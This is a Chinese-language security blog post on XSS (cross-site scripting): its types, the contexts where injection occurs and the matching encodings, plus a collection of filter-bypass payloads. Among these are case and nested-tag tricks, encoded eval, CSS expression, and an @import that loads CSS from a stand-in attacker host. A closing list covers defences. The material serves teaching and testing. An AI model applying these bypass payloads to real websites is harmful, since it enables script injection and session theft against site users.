XSS绕过姿势
Posted HACK学习呀
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XSS绕过姿势相关的知识,希望对你有一定的参考价值。
定义
XSS为跨站攻击脚本,指攻击者将js脚本(可能是其他脚本)插入到web页面,当用户浏览该网页是,代码就会执行,造成恶意攻击。
分类
Xss分为三种,反射型xss、存储型xss、DOM-based xss。反射型xss多指欺骗用户去点击包含漏洞的链接,造成攻击,危害小,不持久,服务器内不包含js脚本代码。存储型xss多指攻击者利用评论,发表文章等可以将代码写入服务器的地方,将恶意代码植入服务器,当用户浏览该网页时,存储在里面的代码会执行,造成攻击。DOM-based xss指的是通过修改页面的DOM节点形成的xss。注意函数document.getElementById().
漏洞特征
常存在于用户与服务器进行数据交互的地方,一般在应用拼接变量到html页面时产生。其实用户可以上传的所有数据,包括header等都可能包含脚本文件并加入服务器。
在HTML标签中输出:
代码:<div>$var</div>
Xss payload:
<div><script>alert(/xss/)</script></div>
代码:<a href=# >$var</a>
Xss payload:
<a href=# ><img src="" onerror="alert('xss')"/></a>
所有在标签中输出的变量,未经任何处理,都可能造成xss.防御方法是对变量使用HtmlEncode.
在html属性中输出:
代码:
<div id="abc" name="$var"></div>
Xss paload:
<div id="abc" name=""<script>alert('xss')</script><""></div>
防御方法也是对变量HtmlEncode.
在script标签中输出:
代码:<script>var x=="$var";</script>
Xss payload:
<script>var x=="";alert('xss');//"</script>
或
<script>var x==""</script><script>alert('xss')//"</script>
防御方法是使用javascriptEncode
在事件中输出:
代码:<a href=# onclick="funcA('$var')>test</a>
Xss payload:
<a href=# onclick="funcA('');alert('xss');//')">test</a>
防御方式是使用JavascriptEncode
在css中输出:
Xss payload:
<STYLE>li {list-style-image:url("javascript:alert('xss')";}</STYLE><UL><LI>XSS
在STYLE等标签中插入url。造成攻击。一般尽可能的禁止用户可控制的变量在style标签,html标签的style属性,以及css文件中输出。如果真的有需求,使用encodeForCSS()函数。
在地址中输出:
代码:<a href="http://www.evil.com/?test=$var" >test</a>
Xsspayload:
<a href="http://www.evil.com/?test=" onclick="alert('xss')"" >test</a>
防御方法是用URLEncode。但注意别改变url语义。
document.write在页面输出:
代码:<script>document.write(location.hash.substring(1))</script>
直接在页面输出锚点id,构造一个带xss的锚点即可。
Xss payload:
http://www.aa.php(http://www.aa.php/)#<script>alert('xss')</script>
XSS payload构造技巧及绕过姿势
script标签:
如果服务器对script进行了一次移除(preg_replace函数),可以用大小写:
<scripT>alert('xss')</scripT>
如果过滤是加了/i,大小写无法绕过,则用双标签:
<scr<script>ipt>alert(‘xss’)</scr</script>ipt>
如果过滤了alert,可用:
<script>eval(FromCharCode(97,108,101,114,116,40,39,120,115,115,39,41))</script>
该标签还可以用于定义一个行内的脚本或者从其他地方引入脚本:
<script ></script>
base>标签:
Onclick事件:
<input type="text" name="test" onclick="alert('xss')">
Onmousedown事件:
<input type="text" name="test" onmousedown="alert('xss')">
img标签配合onerror事件:
<img src=”” onerror=”alert(‘xss’)”/>
Window.name对象:
攻击者可以利用这个对象实现跨域跨页面传递数据。Window对象是浏览器的窗体,很多时候不受同源策略的限制。方法是对window.name复制,便可以执行该段代码。执行跳转页面等操作。
行内样式(inline style):
我们同样可以在行内样式里利用 IE 浏览器支持的动态特性:
<div style="color: expression(alert('XSS'))">
过滤器会检查关键字 style,随后跟随的不能是 <,在随后是 expression:
/style=[^<]*((expression\s*?[<]∗?)|(behavior\s*:))[^<]*(?=\>)/Uis
所以,让我们需要把 < 放到其他地方:
<div style="color: '<'; color: expression(alert('XSS'))">
css import:
IE 浏览器支持在 CSS 中扩展 JavaScript,这种技术称为动态特性(dynamic properties)。允许攻击者加载一个外部 CSS 样式表是相当危险的,因为攻击者现在可以在原始页面中执行 JavaScript 代码了。
<style>
@import url("<http://attacker.org/malicious.css>");
</style>
malicious.css:
body {
color: expression(alert('XSS'));
}
为了绕过对 @import 的过滤,可以在 CSS 中使用反斜杠进行绕过:
<style>
@imp\ort url("http://attacker.org/malicious.css");
</style>
IE 浏览器会接受反斜杠,但是我们绕过了过滤器
利用字符编码:
%c1;alert(/xss/);//
因为有些页面会编码转义,而%c1与\两个字符组合在一起形成一个新的字符,从而绕过转义。
绕过长度限制:
1.利用js事件绕过
2.将payload写到别处,通过简短的代码加载这段代码。
比如location.hash。并且根据http协议,这里的内容不会在http包中发。所以web日志不会记录到里面的内容:
<input type="text" value="" onclick="eval(location.hash.substr(1))" />
因为location.hash的第一个字符是#,所以必须除掉第一个字符。
构造url:http://www.a.com/test.html#alert('xss')
3.利用注释符绕过长度限制
如果我们能控制两个文本框,第二个文本框可以控制更多字节,可以用html的注释符打通两个文本框,例:
<input id=1 type="text" value=""/>
Xxxxxxxx
<inpur id=2 type="text" value=""/>
第一个文本框输入”><!–
第二个文本框输入–>
构造出:
<input id=1 type="text" value=""><!--"/>Xxxxxxxx<inpur id=2 type="text" value="--><script>alert('xss')</script>"/>
单引号绕过:
用单引号闭合绕开过滤
防御措施
1.在服务器配置选项中将session.cookie_httponly设为true。防止攻击者劫持cookie
2.对即将输出内容进行转义或编码,采用HtmlEncode, htmlspecialchars(),htmlentities() ,JavascriptEncode等函数处理后再输出。
3.处理用户输入的图片,视频的富文本,采用白名单的方式过滤ifrme,script,base,form,svg,img等危险标签。尽可能禁用用户自定义css和style。以及on事件
4.对所有用户提交的内容进行可靠的验证,包括对URL、查询关键字、HTTP头、POST数据等,仅接受长度范围内、采用适当格式、预期字符内容提交,其他内容一律以白名单的方式过滤。
5.实现Session标记(session tokens)、CAPTCHA系统或者HTTP引用头检查,以防功能被第三方网站执行
4.确认接收的内容不包含js脚本,去掉任何对远程内容的引用(特别是css和js)
6.对javascript字段进行检索,若含有,一般都含有xss攻击
7.禁用script,base等危险标签。
8.处理用户输入的图片,视频的富文本,采用白名单的方式过滤ifrme,script,base,form,svg等危险标签。尽可能禁用用户自定义css和style。以及on事件
9.防御DOM Based xss 当变量输出到script时进行一次js编码,然后在document.write到页面时,如果是输出到js事件或者js脚本,则再js编码一次。如果输出到html内容或者属性,则再做一次htmlEncode。
推荐阅读:
XSS绕过WAF总结:
http://vinc.top/2014/11/13/%E7%BB%95%E8%BF%87waf%E7%9A%84%E5%A7%BF%E5%8A%BF%E6%80%BB%E7%BB%93/
WAF的XSS绕过姿势
https://www.freebuf.com/articles/web/81959.html
XSS过滤速查表
https://www.freebuf.com/articles/web/153055.html
参考来源: jlzj's博客
如有侵权,请联系删除
以上是关于XSS绕过姿势的主要内容,如果未能解决你的问题,请参考以下文章